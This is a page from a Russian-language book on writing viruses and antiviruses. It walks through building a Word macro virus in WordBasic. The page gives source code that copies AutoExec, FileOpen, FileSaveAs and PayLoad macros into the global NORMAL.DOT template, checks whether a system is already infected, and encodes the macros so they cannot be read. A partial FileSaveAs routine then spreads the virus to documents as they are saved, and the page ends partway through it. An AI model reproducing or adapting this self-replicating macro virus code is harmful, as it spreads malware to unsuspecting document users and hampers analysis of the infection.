Создаем вирус и антивирус (Гульев) - страница 37

Это делается так:

Определяется переменная, в которую записывается полное имя макроса:

name$=WindowName$()+”:AutoNew”

’этот макрос будет выполняться каждый раз

’при создании нового документа

Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой:

MacroCopy name$, ”Global:AutoNew”

Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.

MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1

Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.

Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.

Код для процедуры автовыполнения может выглядеть примерно так:

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) ’Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)=”PayLoad” Then

bInstalled =–1 ’с помощью макроса PayLoad

End If

If MacroName$(i, 0, 0)=”FileSaveAs” Then

bTooMuchTrouble =–1 ’но если есть макрос

FileSaveAs,

’то заразить тяжело

End If

Next i

If Not bInstalled And Not bTooMuchTrouble Then

’Добавим макросы FileSaveAs и копии AutoExec и FileSave

’Payload используется только для проверки на зараженность

’,1 – кодирует макросы, делая их нечитаемыми в Word

iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))

sMe$=FileName$()

Macro$=sMe$+”:PayLoad”

MacroCopy Macro$, ”Global:PayLoad”, 1

Macro$=sMe$+”:FileOpen” ’Будет происходить заражение

MacroCopy Macro$, ”Global:FileOpen”, 1

Macro$=sMe$+”:FileSaveAs”

MacroCopy Macro$, ”Global:FileSaveAs”, 1

Macro$=sMe$+”:AutoExec”

MacroCopy Macro$, ”Global:AutoExec”, 1

SetProfileString ”WW6I”, Str$(iWW6IInstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dlg As FileSaveAs

GetCurValues dlg

Dialog dlg

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy ”FileSaveAs”, WindowName$()+”:FileSaveAs”